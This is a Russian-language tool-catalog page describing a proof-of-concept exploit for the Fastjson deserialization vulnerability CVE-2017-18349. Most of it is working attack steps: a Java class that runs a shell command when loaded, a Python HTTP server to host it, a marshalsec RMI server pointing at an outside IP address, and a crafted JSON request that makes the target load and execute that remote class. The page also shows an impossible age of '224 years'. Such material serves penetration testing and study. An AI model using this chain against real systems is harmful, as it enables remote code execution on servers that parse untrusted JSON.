Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Fastjson--CVE-2017-18349- — Proof-of-concept эксплойт для уязвимости десериализации Fastjson CVE-2017-18349, демонстрирующий удаленное выполнение кода через специально сформированную JSON-нагрузку и RMI-сервер. | Kitploit
Инструменты/GitHubGitHub/h0cksr/fastjson--cve-2017-18349-
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийКомандование и УправлениеИнструмент Удаленного ДоступаРазработка Полезной Нагрузки
GitHubh0cksr/fastjson--cve-2017-18349-

Fastjson--CVE-2017-18349-

Proof-of-concept эксплойт для уязвимости десериализации Fastjson CVE-2017-18349, демонстрирующий удаленное выполнение кода через специально сформированную JSON-нагрузку и RMI-сервер.

Репозиторий
224 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Fastjson--CVE-2017-18349-Отменить изменения

Настройте проект как Maven-проект и выполните (обратите внимание: использование более новой версии JDK может привести к ошибке, рекомендуется использовать JDK версии 1.8.65) функцию main в файле FastjsondemoApplication.java. Файл TouchFile.java:

root@kitploit:~
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
  static {
      try {
          Runtime rt = Runtime.getRuntime();
          String[] commands = {"touch", "/tmp/flag_test"};
          Process pc = rt.exec(commands);
          pc.waitFor();
      } catch (Exception e) {
          // do nothing
      }
  }
}

Затем скомпилируйте его с помощью javac версии 8:

root@kitploit:~
javac TouchFile.java

Запустите веб-сервер на Python:

root@kitploit:~
python -m SimpleHTTPServer 80

Сгенерируйте RMI-сервер с помощью marshalsec:

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://47.99.70.18/#TouchFile" 9999

Измените запрос:

root@kitploit:~
POST / HTTP/1.1
Host: 127.0.0.1:8080

{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"rmi://47.99.70.18:9999/TouchFile",
        "autoCommit":true
    }
}

Результат: изображение

Скачать инструмент